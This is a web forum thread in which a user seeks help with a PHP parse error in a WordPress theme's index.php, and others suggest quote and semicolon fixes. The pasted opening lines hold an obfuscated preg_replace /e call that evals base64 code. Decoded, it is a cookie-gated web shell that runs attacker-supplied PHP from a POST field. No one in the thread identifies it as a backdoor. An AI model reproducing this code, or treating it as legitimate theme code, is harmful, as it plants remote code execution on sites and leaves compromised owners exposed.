Jump to content

company website has parse error


AnthonyJ

Recommended Posts

Hello,

 

The company I work for is now having a parse error and they asked me to look into it. The error is:

 

Parse error: syntax error, unexpected '&', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 7

 

Here is the first ten lines of the index.php page line seven is in red:

<?php

preg_replace("/.+/esi","\x65\x76\x61\x6C\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'aWYgKCFlbXB0eSgkX0NPT0tJRVsndiddKSBhbmQgJF9DT09LSUVbJ3YnXT09J2QnKXtpZiAoIWVtcHR5KCRfUE9TVFsnYyddKSkge2VjaG8gJzx0ZXh0YXJlYSByb3dzPTI4IGNvbHM9ODA+JzsgJGQ9YmFzZTY0X2RlY29kZShzdHJfcmVwbGFjZSgnICcsJysnLCRfUE9TVFsnYyddKSk7aWYoJGQpIGV2YWwoJGQpOyBlY2hvICc8L3RleHRhcmVhPic7fQ0KZWNobyAnPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD1wb3N0Pjx0ZXh0YXJlYSBjb2xzPTgwIHJvd3M9MjggbmFtZT1jPjwvdGV4dGFyZWE+PGJyPjxpbnB1dCB0eXBlPXN1Ym1pdD48L2Zvcm0+JztleGl0O30='\x29\x29\x3B",'1');

?>

<?php get_header(); ?>

<?php global $woo_options; ?>

 

<?php if ( $woo_options['woo_featured_disable'] <> "true" ) include( TEMPLATEPATH . '/includes/featured.php'); ?>

 

</div><!-- /#top -->

 

 

What is wrong?

BTW...When I copied and pasted the code in, some data is missing....What I see is...<?php if($woo_options['woo_featured_disable'] <> "true" ) include(TEMPLATEPATH . '/includes/featured.php');?>

 

So what is really wrong?

Edited by AnthonyJ
Link to comment
Share on other sites

There is code that is not showing up when I paste it in or write it by hand...Seemingly there is a "'" added throughout the line.

 

<?php if ( $woo_options['woo_featured_disable'] <> "true" ) include( TEMPLATEPATH . '/includes/featured.php'); ?>

It appears after $woo_options[ before 'woo_featured_disable.

And after 'woo_featured_disable'.

After TEMPLATEPATH.

After /featured.php');?>

 

Any idea what that is and is it necessary?

Link to comment
Share on other sites

There is code that is not showing up when I paste it in or write it by hand...Seemingly there is a "'" added throughout the line.

 

I assume you're talking about when you paste the code here in the forum? Look to just above the text box and click the button that has '<>" in it - that creates a special code field and all characters are displayed as you enter them.

 

As to your actual problem, sorry, I don't speak PHP.

Link to comment
Share on other sites

Thank you Andrea,

Here is what I see in the editor:

 

 

 

 

<?php if ( $woo_options[''woo_featured_disable''] <> "true" ) include( TEMPLATEPATH .' '/includes/featured.php''); ?>

 

Well it was there when I pasted it and it disapeared so I entered it manually and it seems to stick.

Edited by AnthonyJ
Link to comment
Share on other sites

Ok,

 

I removed the "'" and now I get:

 

 

Parse error: syntax error, unexpected ';', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 7

 

 

<?php if ( $woo_options[woo_featured_disable;] <> "true" ) include( TEMPLATEPATH . ;/includes/featured.php;); ?>

 

Which semi-colon is it referring to?

Link to comment
Share on other sites

Looks like you added an unnecessary ";" here:

 

[woo_featured_disable;]

I'm not seeing that in the original code you posted.

 

Also, you are missing the quotes around:

 

woo_featured_disable

It seems like those were in your original code, yet you removed them?

 

EDIT: You also have errors in your include:

 

TEMPLATEPATH . ;/includes/featured.php;

I'm not sure why, but you are missing quotes around the "/includes/featured.php" section, and you have two unnecessary ";" in their place.

Link to comment
Share on other sites

Ok,

Now I get this:

Parse error: syntax error, unexpected '&', expecting ']' in /home3/strater2/public_html/wp-content/themes/inspire/index.php on line 17

 

And it is the ' business again.

 

Ben, will you have a look at the index page for us? I am sure I can get you compensated for your time.

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.
Note: Your post will require moderator approval before it will be visible.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

Loading...
×
×
  • Create New...